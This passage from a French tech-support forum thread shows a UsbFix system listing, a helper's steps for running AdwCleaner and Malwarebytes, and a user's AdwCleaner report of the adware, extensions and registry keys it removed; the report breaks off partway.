    04 - HKU\S-1-5-19\..\Run : [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /detectMem
    04 - HKU\S-1-5-19\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKU\S-1-5-20\..\Run : [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /detectMem
    04 - HKU\S-1-5-20\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1001\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1001\..\Run : [ProductReg] C:\Program Files\Acer\WR_PopUp\ProductReg.exe

    ################## | Listing |

    [11/10/2013 - 12:13:39 | D] - C:\$AVG
    [08/12/2011 - 06:32:28 | SHD] - C:\$RECYCLE.BIN
    [31/10/2012 - 09:36:11 | D] - C:\AA
    [08/04/2009 - 20:02:11 | D] - C:\Acer
    [18/09/2006 - 23:43:36 | A | 0 Ko] - C:\autoexec.bat
    [14/02/2014 - 14:46:31 | N | 0 Ko] - C:\AVScanner.ini
    [19/02/2009 - 17:49:51 | D] - C:\Book
    [25/11/2011 - 16:00:12 | SHD] - C:\Boot
    [11/04/2009 - 08:36:36 | RASH | 325 Ko] - C:\bootmgr
    [06/02/2008 - 01:25:41 | RAS | 8 Ko] - C:\BOOTSECT.BAK
    [29/04/2014 - 10:16:53 | D] - C:\Config.Msi
    [18/09/2006 - 23:43:37 | N | 0 Ko] - C:\config.sys
    [02/11/2006 - 15:02:03 | SHD] - C:\Documents and Settings
    [08/04/2009 - 20:03:23 | D] - C:\Elements
    [23/12/2013 - 23:13:04 | N | 0 Ko] - C:\END
    [14/06/2012 - 06:52:02 | D] - C:\found.000
    [11/11/2008 - 05:39:10 | D] - C:\Intel
    [09/02/2012 - 08:56:04 | RASH | 0 Ko] - C:\IO.SYS
    [03/01/2012 - 08:14:37 | D] - C:\logecole
    [09/02/2012 - 08:56:04 | RASH | 0 Ko] - C:\MSDOS.SYS
    [20/11/2009 - 21:02:07 | RHD] - C:\MSOCache
    [09/04/2014 - 17:10:13 | D] - C:\ordi-makaton
    [11/10/2013 - 15:03:49 | D] - C:\ordimakaton demo
    [29/04/2014 - 12:27:47 | ASH | 3350460 Ko] - C:\pagefile.sys
    [17/01/2009 - 01:10:52 | N | 5 Ko] - C:\Patch.rev
    [21/01/2008 - 04:32:31 | D] - C:\PerfLogs
    [19/02/2009 - 17:49:49 | N | 0 Ko] - C:\preload.rev
    [29/04/2014 - 11:02:12 | D] - C:\Program Files
    [19/11/2013 - 10:22:48 | D] - C:\Program Files (x86)
    [29/04/2014 - 11:02:12 | HD] - C:\ProgramData
    [19/02/2009 - 09:03:13 | N | 1 Ko] - C:\RHDSetup.log
    [20/11/2012 - 10:18:44 | D] - C:\RMISAUVE
    [21/01/2013 - 15:55:45 | D] - C:\RMVNCTemp
    [16/01/2014 - 02:40:14 | N | 476 Ko | 164E263E988C46728B7C9978AFF46914] - C:\SecurityScanner.dll
    [29/04/2014 - 09:14:35 | SHD] - C:\System Volume Information
    [07/04/2014 - 17:12:00 | D] - C:\temp
    [29/04/2014 - 10:46:26 | D] - C:\UsbFix
    [29/04/2014 - 12:30:27 | A | 8 Ko | 93E22DA05EE968CF9FEB44EFE9DDDFE0] - C:\UsbFix [Clean 10] PC-DE-ACER.txt
    [29/04/2014 - 11:15:25 | N | 12 Ko | 206EC5B2BE2CBF6D7D1671CA9B964C09] - C:\UsbFix [Clean 2] PC-DE-ACER.txt
    [29/04/2014 - 11:20:48 | N | 12 Ko | 30BBDB049D5F177F6EB4E6255B184A52] - C:\UsbFix [Clean 4] PC-DE-ACER.txt
    [29/04/2014 - 11:30:23 | N | 12 Ko | 26CFDD2C0080988B79FA2A95841B3DEE] - C:\UsbFix [Clean 6] PC-DE-ACER.txt
    [29/04/2014 - 12:06:17 | N | 9 Ko | 4DD0575ECA21566A45D69C0D2DF2228C] - C:\UsbFix [Clean 8] PC-DE-ACER.txt
    [29/04/2014 - 10:48:06 | N | 17 Ko | A7A5AC9B669720140F16F82E82B571E9] - C:\UsbFix [Scan 1] PC-DE-ACER.txt
    [08/12/2011 - 06:30:51 | D] - C:\Users
    [07/04/2014 - 17:14:48 | D] - C:\Vega5
    [10/01/2012 - 08:18:37 | D] - C:\Vega5maj
    [29/04/2014 - 12:03:20 | D] - C:\Windows
    [28/04/2014 - 15:49:43 | D] - C:\X4
    [08/12/2011 - 06:32:30 | SHD] - D:\$RECYCLE.BIN
    [14/04/2011 - 15:12:09 | D] - D:\487689817e8b701c8f
    [09/02/2011 - 09:46:08 | D] - D:\ce563048b69a0c3eaa51e7ab56ff5d
    [19/02/2009 - 08:54:18 | SHD] - D:\System Volume Information
    0
  9. billmaxime Messages postés 50523 Date d'inscription   Statut Contributeur Dernière intervention   6 151
     
    re

    fait ceci dans l'ordre inscrit et poste les rapports

    1) télécharge adwcleaner sur ton bureau

    le lien http://general-changelog-team.fr/fr/downloads/viewdownload/20-outils-de-xplode/2-adwcleaner

    utlisateurs vista-w7-w8 exécuter en tant qu'administrateur (clic droit)

    clique sur Scanner puis patiente le temps du scan

    une fois le scan terminé clique sur le bouton Nettoyer

    clique sur rapport pour qu'il s'affiche sur ton bureau

    le rapport est aussi sauvegarder dans C:\AdwCleaner[S0].txt

    poste le rapport via 1 copier/coller

    2) http://sosvirus.net/viewtopic.php?f=281&t=594

    utilisateurs vista-w7-w8 exécuter en tant qu'administrateur (clic droit)

    a la fin de l'installation, décoche la case "activer l'essai gratuit de MBAM premium"

    regarde l'image >> clique ici

    regarde ceci pour le mettre a jour et en français >> clique ici

    dans l'onglet "examens" sélectionne "examen menaces" puis clique sur "examiner maintenant"

    a la fin du scan, clique sur "tout mettre en quarantaine " puis sur "appliquer les actions"

    si MBAM demande de redémarrer le pc, fait le

    le rapport s'affichera sur ton bureau, mais sera aussi disponible dans "historique"

    et "journaux de l'application"

    sélectionne le rapport et demande l'affichage (choisit bien le dernier en date)

    en bas a gauche, clique sur "exporter" et choisit "format texte"

    enregistre le sur ton bureau (pour le retrouver facilement)

    poste le rapport via 1 copier/coller dans ta prochaine réponse

    merci

    @+
    0
  10. theob51 Messages postés 12 Statut Membre
     
    # AdwCleaner v3.205 - Rapport créé le 29/04/2014 à 13:00:26
    # Mis à jour le 28/04/2014 par Xplode
    # Système d'exploitation : Windows Vista (TM) Home Premium Service Pack 2 (32 bits)
    # Nom d'utilisateur : Cabinet Orthophonie - PC-DE-ACER
    # Exécuté depuis : C:\Users\Cabinet Orthophonie\Downloads\adwcleaner.exe
    # Option : Nettoyer

    ***** [ Services ] *****

    Service Supprimé : APNMCP
    Service Supprimé : IePluginService
    Service Supprimé : Wpm

    ***** [ Fichiers / Dossiers ] *****

    Dossier Supprimé : C:\Program Files\AskPartnerNetwork
    Dossier Supprimé : C:\Program Files\Convesoft
    Dossier Supprimé : C:\Program Files\EoRezo
    Dossier Supprimé : C:\Program Files\file scout
    Dossier Supprimé : C:\Program Files\iLivid
    Dossier Supprimé : C:\Program Files\RewardsArcade
    Dossier Supprimé : C:\Program Files\SpecialSavings
    Dossier Supprimé : C:\Program Files\SupTab
    Dossier Supprimé : C:\Program Files\SweetIM
    Dossier Supprimé : C:\Program Files\Vittalia
    Dossier Supprimé : C:\Program Files\Widestream6
    Dossier Supprimé : C:\Program Files\Windows iLivid Toolbar
    Dossier Supprimé : C:\Program Files\Vuze
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Local\RewardsArcade
    Dossier Supprimé : C:\Users\CABINE~1\AppData\Local\Temp\apn
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\LocalLow\Conduit
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\LocalLow\searchquband
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\LocalLow\Searchqutoolbar
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\LocalLow\SweetIM
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\LocalLow\Vuze_Remote
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Roaming\337Games
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Roaming\file scout
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Roaming\SpecialSavings
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Roaming\SupTab
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\337Games
    Dossier Supprimé : C:\Users\Théodora\AppData\Local\Ilivid Player
    Dossier Supprimé : C:\Users\Théodora\AppData\Local\PackageAware
    Dossier Supprimé : C:\Users\Théodora\AppData\LocalLow\ConduitEngine
    Dossier Supprimé : C:\Users\Théodora\AppData\LocalLow\searchquband
    Dossier Supprimé : C:\Users\Théodora\AppData\LocalLow\Searchqutoolbar
    Dossier Supprimé : C:\Users\Théodora\AppData\LocalLow\Vuze_Remote
    Dossier Supprimé : C:\Users\Théodora\AppData\Roaming\EoRezo
    Dossier Supprimé : C:\Users\Théodora\AppData\Roaming\OfferBox
    Dossier Supprimé : C:\Users\Théodora\AppData\Roaming\widestream
    Dossier Supprimé : C:\Users\Théodora\Documents\widestream
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\ConduitCommon
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\CT2504091
    Dossier Supprimé : C:\Users\Théodora\AppData\Roaming\Mozilla\Firefox\Profiles\8ldk3ekp.default\Searchqutoolbar
    Dossier Supprimé : C:\Users\Théodora\AppData\Roaming\Mozilla\Firefox\Profiles\8ldk3ekp.default\SweetIMToolbarData
    Dossier Supprimé : C:\Users\Théodora\AppData\Roaming\Mozilla\Firefox\Profiles\8ldk3ekp.default\CT2504091
    Dossier Supprimé : C:\Users\Théodora\AppData\Roaming\Mozilla\Firefox\Profiles\8ldk3ekp.default\Extensions\{99079A25-328F-4BD4-BE04-00955ACAA0A7}
    Dossier Supprimé : C:\Users\Théodora\AppData\Roaming\Mozilla\Firefox\Profiles\8ldk3ekp.default\Extensions\{EEE6C361-6118-11DC-9C72-001320C79847}
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\Extensions\quick_start@gmail.com
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\Extensions\{ba14329e-9550-4989-b3f2-9732e92d17cc}(459)
    Dossier Supprimé : C:\Users\Théodora\AppData\Local\Google\Chrome\User Data\Default\Extensions\bfcpnihmbfoaeoakalclfalkdepgiaje
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Local\Google\Chrome\User Data\Default\Extensions\bopakagnckmlgajfccecajhnimjiiedh
    Dossier Supprimé : C:\Users\Théodora\AppData\Local\Google\Chrome\User Data\Default\Extensions\cekcjpgehmohobmdiikfnopibipmgnml
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Local\Google\Chrome\User Data\Default\Extensions\icpgjfneehieebagbmdbhnlpiopdcmna
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Local\Google\Chrome\User Data\Default\Extensions\ifohbjbgfchkkfhphahclmkpgejiplfo
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Local\Google\Chrome\User Data\Default\Extensions\ogfjmhfnldnajmfaofeiaepghjenbgjo
    Dossier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Local\Google\Chrome\User Data\Default\Extensions\pelmeidfhdlhlbjimpabfcbnnojbboma
    Fichier Supprimé : C:\Program Files\Mozilla Firefox\Extensions\{1FD91A9C-410C-4090-BBCC-55D3450EF433}
    Fichier Supprimé : C:\END
    Fichier Supprimé : C:\Program Files\Mozilla Firefox\.autoreg
    Fichier Supprimé : C:\Users\Théodora\AppData\Roaming\Mozilla\Firefox\Profiles\8ldk3ekp.default\searchplugins\SearchquWebSearch.xml
    Fichier Supprimé : C:\Users\Théodora\AppData\Roaming\Mozilla\Firefox\Profiles\8ldk3ekp.default\searchplugins\SweetIm.xml
    Fichier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Local\Google\Chrome\User Data\Default\Extensions\ep.crx
    Fichier Supprimé : C:\Users\Théodora\AppData\Local\Google\Chrome\User Data\Default\Extensions\newtab.crx
    Fichier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Local\Google\Chrome\User Data\Default\Extensions\newtabv3.crx
    Fichier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Local\Google\Chrome\User Data\Default\Extensions\searchswitch.crx
    Fichier Supprimé : C:\Users\Cabinet Orthophonie\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_ifohbjbgfchkkfhphahclmkpgejiplfo_0.localstorage
    Fichier Supprimé : C:\Users\Théodora\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_ifohbjbgfchkkfhphahclmkpgejiplfo_0.localstorage

    ***** [ Raccourcis ] *****

    ***** [ Registre ] *****

    Valeur Supprimée : HKLM\SOFTWARE\Mozilla\Firefox\Extensions [quick_start@gmail.com]
    Valeur Supprimée : HKCU\Software\Mozilla\Firefox\Extensions [SpecialSavings@SpecialSavings.com]
    Clé Supprimée : HKLM\SOFTWARE\Google\Chrome\Extensions\bfcpnihmbfoaeoakalclfalkdepgiaje
    Clé Supprimée : HKLM\SOFTWARE\Google\Chrome\Extensions\ifohbjbgfchkkfhphahclmkpgejiplfo
    Clé Supprimée : HKLM\SOFTWARE\Google\Chrome\Extensions\ogfjmhfnldnajmfaofeiaepghjenbgjo
    Clé Supprimée : HKLM\SOFTWARE\Google\Chrome\Extensions\ojpijjmpahflnipadmlpgbjmagmjchkk
    Clé Supprimée : HKLM\SOFTWARE\Google\Chrome\Extensions\pelmeidfhdlhlbjimpabfcbnnojbboma
    Clé Supprimée : HKLM\SOFTWARE\Classes\AppID\AddonsFramework.DLL
    Clé Supprimée : HKLM\SOFTWARE\Classes\AppID\ButtonSite.DLL
    Clé Supprimée : HKLM\SOFTWARE\Classes\AppID\PropertySync.EXE
    Clé Supprimée : HKLM\SOFTWARE\Classes\AppID\ScriptHost.DLL
    Clé Supprimée : HKLM\SOFTWARE\Classes\Applications\ilividsetup.exe
    Clé Supprimée : HKLM\SOFTWARE\Classes\Conduit.Engine
    Clé Supprimée : HKLM\SOFTWARE\Classes\ilivid
    Clé Supprimée : HKLM\SOFTWARE\Classes\MediaPlayer.GraphicsUtils
    Clé Supprimée : HKLM\SOFTWARE\Classes\MediaPlayer.GraphicsUtils.1
    Clé Supprimée : HKLM\SOFTWARE\Classes\MgMediaPlayer.GifAnimator
    Clé Supprimée : HKLM\SOFTWARE\Classes\MgMediaPlayer.GifAnimator.1
    Clé Supprimée : HKLM\SOFTWARE\Classes\RewardsArcade.BHO
    Clé Supprimée : HKLM\SOFTWARE\Classes\RewardsArcade.BHO.1
    Clé Supprimée : HKLM\SOFTWARE\Classes\RewardsArcade.FBApi
    Clé Supprimée : HKLM\SOFTWARE\Classes\RewardsArcade.FBApi.1
    Clé Supprimée : HKLM\SOFTWARE\Classes\RewardsArcade.Sandbox
    Clé Supprimée : HKLM\SOFTWARE\Classes\RewardsArcade.Sandbox.1
    Clé Supprimée : HKLM\SOFTWARE\Classes\ScriptHost.Tool
    Clé Supprimée : HKLM\SOFTWARE\Classes\ScriptHost.Tool.1
    Clé Supprimée : HKLM\SOFTWARE\Classes\SearchQUIEHelper.DNSGuard
    Clé Supprimée : HKLM\SOFTWARE\Classes\SearchQUIEHelper.DNSGuard.1
    Clé Supprimée : HKLM\SOFTWARE\Classes\sim-packages
    Clé Supprimée : HKLM\SOFTWARE\Classes\SWEETIE.IEToolbar
    Clé Supprimée : HKLM\SOFTWARE\Classes\SWEETIE.IEToolbar.1
    Clé Supprimée : HKLM\SOFTWARE\Classes\sweetim_urlsearchhook.toolbarurlsearchhook
    Clé Supprimée : HKLM\SOFTWARE\Classes\sweetim_urlsearchhook.toolbarurlsearchhook.1
    Clé Supprimée : HKLM\SOFTWARE\Classes\Toolbar3.sweetie
    Clé Supprimée : HKLM\SOFTWARE\Classes\Toolbar3.sweetie.1
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\SweetIM.exe
    Valeur Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [ApnTbMon]
    Valeur Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [DataMngr]
    Valeur Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [SweetIM]
    Valeur Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs [C:\Program Files\SweetIM\Toolbars\Internet Explorer\mgHelperApp.exe]
    Valeur Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs [C:\Program Files\SweetIM\Toolbars\Internet Explorer\mgToolbarProxy.dll]
    Valeur Supprimée : HKLM\SOFTWARE\mozilla\Firefox\Extensions [crossriderapp498@crossrider.com]
    Clé Supprimée : HKLM\SOFTWARE\Classes\Toolbar.CT1269415
    Clé Supprimée : HKLM\SOFTWARE\Classes\Toolbar.CT2504091
    Clé Supprimée : HKLM\SOFTWARE\Classes\AppID\{18B9B16E-716F-43DF-A6AD-512C7D2EB983}
    Clé Supprimée : HKLM\SOFTWARE\Classes\AppID\{19975B78-1907-4DD6-A437-4C48120F46A4}
    Clé Supprimée : HKLM\SOFTWARE\Classes\AppID\{562B9316-C08A-444A-9482-62080DD851AE}
    Clé Supprimée : HKLM\SOFTWARE\Classes\AppID\{562B9317-C08A-444A-9482-62080DD851AE}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{25514C64-8321-494E-BD3E-3DBAB3F8CEBA}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{43969E3F-3E7C-4911-A8F1-79C6CA6AC731}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{597A9974-8CB0-4F41-B61F-ED065738A397}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{82AC53B4-164C-4B07-A016-437A8388B81A}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{938958E8-355C-49FF-92B0-53C1B87ACEA9}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{99079A25-328F-4BD4-BE04-00955ACAA0A7}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{A40DC6C5-79D0-4CA8-A185-8FF989AF1115}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{A4A0CB15-8465-4F58-A7E5-73084EA2A064}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{EEE6C35B-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{EEE6C35C-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{EEE6C35D-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{13086CD4-88B6-45E3-9182-3BC2664199F7}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{1FCD7139-C2A3-49AD-8B9E-E82E48AE5DF6}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{319FCB76-1568-4EFA-863B-B03A2B16EB5C}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{64A66B25-A70F-4373-95EF-3A1DB6040B3A}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{6DDA37BA-0553-499A-AE0D-BEBA67204548}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{6FC5F7E0-D65A-465C-B8EE-A5F8E008D6DF}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{731D436C-464C-4F29-BFB2-DE9C458535AE}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{7C89C8A6-991C-4626-9E26-B12EB4D89C04}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{BF227C2C-9D69-4f51-9B20-4B0A70E65EB0}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{EEF00686-CAB8-4885-9CCB-78FF483041AA}
    Clé Supprimée : HKLM\SOFTWARE\Classes\CLSID\{FDA55C78-736E-4E8A-996C-4A80FC0396FB}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{045F91B3-695F-423A-98C7-8DE3C47AA020}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{1348BD1B-C32A-41A7-9BD4-5377AA1AB925}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{1B730ACF-26A3-447B-9994-14AEE0EB72CC}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{395AFE6E-8308-48DB-89BE-ED5F4AA3D3EC}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{43969E3F-3E7C-4911-A8F1-79C6CA6AC731}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{43B390F0-6BA2-45CA-ABF2-5DB0CEE9B49D}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{6427058B-217C-4C7F-A6CE-C7934C0BDCEB}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{93CF54F5-CFAA-4440-B588-8ED0DFAD5C21}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{94CADA2E-1D3F-419F-8A3D-06C58EDF53C8}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{9E52EB8B-8DD9-4605-AD36-D352BCD482F2}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{A1440EC3-F0FA-407A-B811-DE6668C06D29}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{A439801C-961D-452C-AB42-7848E9CBD289}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{B9A84AD0-5777-46FD-8B8F-1EBD06750FBC}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{C1995F88-1C7F-40D7-B0FA-6F107F6308B8}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{C815E3DA-0823-49B0-9270-D1771D58B317}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{D3BC53E7-0437-4C97-90EE-2CD6FF47FB14}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{E4A994B0-5550-4680-A4C6-B9470B888069}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{EE95078D-518C-4FD2-8093-FD1D4E33D3CA}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{EEE6C358-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{EEE6C359-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{EEE6C35A-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{F4EBB1E2-21F3-4786-8CF4-16EC5925867F}
    Clé Supprimée : HKLM\SOFTWARE\Classes\Interface\{F9EB11AB-9384-4736-9B33-993940F88895}
    Clé Supprimée : HKLM\SOFTWARE\Classes\TypeLib\{4D3B167E-5FD8-4276-8FD7-9DF19C1E4D19}
    Clé Supprimée : HKLM\SOFTWARE\Classes\TypeLib\{60BE6B2E-F2F5-4404-AA1E-4381D4A6EEA2}
    Clé Supprimée : HKLM\SOFTWARE\Classes\TypeLib\{6A4BCABA-C437-4C76-A54E-AF31B8A76CB9}
    Clé Supprimée : HKLM\SOFTWARE\Classes\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}
    Clé Supprimée : HKLM\SOFTWARE\Classes\TypeLib\{EEE6C35E-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKLM\SOFTWARE\Classes\TypeLib\{EEE6C35F-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{02478D38-C3F9-4EFB-9B51-7695ECA05670}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{597A9974-8CB0-4F41-B61F-ED065738A397}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{938958E8-355C-49FF-92B0-53C1B87ACEA9}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{99079A25-328F-4BD4-BE04-00955ACAA0A7}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A40DC6C5-79D0-4CA8-A185-8FF989AF1115}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{EEE6C35C-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{02478D38-C3F9-4EFB-9B51-7695ECA05670}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{597A9974-8CB0-4F41-B61F-ED065738A397}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{938958E8-355C-49FF-92B0-53C1B87ACEA9}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{99079A25-328F-4BD4-BE04-00955ACAA0A7}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{A40DC6C5-79D0-4CA8-A185-8FF989AF1115}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{EEE6C35B-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{EEE6C35C-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{EF99BD32-C1FB-11D2-892F-0090271D4F88}
    Clé Supprimée : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{EF99BD32-C1FB-11D2-892F-0090271D4F88}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{02478D38-C3F9-4EFB-9B51-7695ECA05670}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{EF99BD32-C1FB-11D2-892F-0090271D4F88}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{99079A25-328F-4BD4-BE04-00955ACAA0A7}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{EEE6C367-6118-11DC-9C72-001320C79847}
    Clé Supprimée : HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{70D46D94-BF1E-45ED-B567-48701376298E}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{8A96AF9E-4074-43B7-BEA3-87217BDA7406}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{AFDBDDAA-5D3F-42EE-B79C-185A7020515B}
    Clé Supprimée : HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{EEE6C360-6118-11DC-9C72-001320C79847}
    Valeur Supprimée : HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar [{99079A25-328F-4BD4-BE04-00955ACAA0A7}]
    Valeur Supprimée : HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar [{EEE6C35B-6118-11DC-9C72-001320C79847}]
    Valeur Supprimée : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{EEE6C35B-6118-11DC-9C72-001320C79847}]
    Valeur Supprimée : HKCU\Software\Microsoft\Internet Explorer\URLSearchHooks [{EEE6C35D-6118-11DC-9C72-001320C79847}]
    Donnée Restaurée : HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command
    Donnée Restaurée : HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\SAFARI.EXE\shell\open\command
    Clé Supprimée : HKCU\Software\AskPartnerNetwork
    Clé Supprimée : HKCU\Software\AVG Nation toolbar
    Clé Supprimée : HKCU\Software\Conduit
    Clé Supprimée : HKCU\Software\Cr_Installer
    Clé Supprimée : HKCU\Software\DataMngr
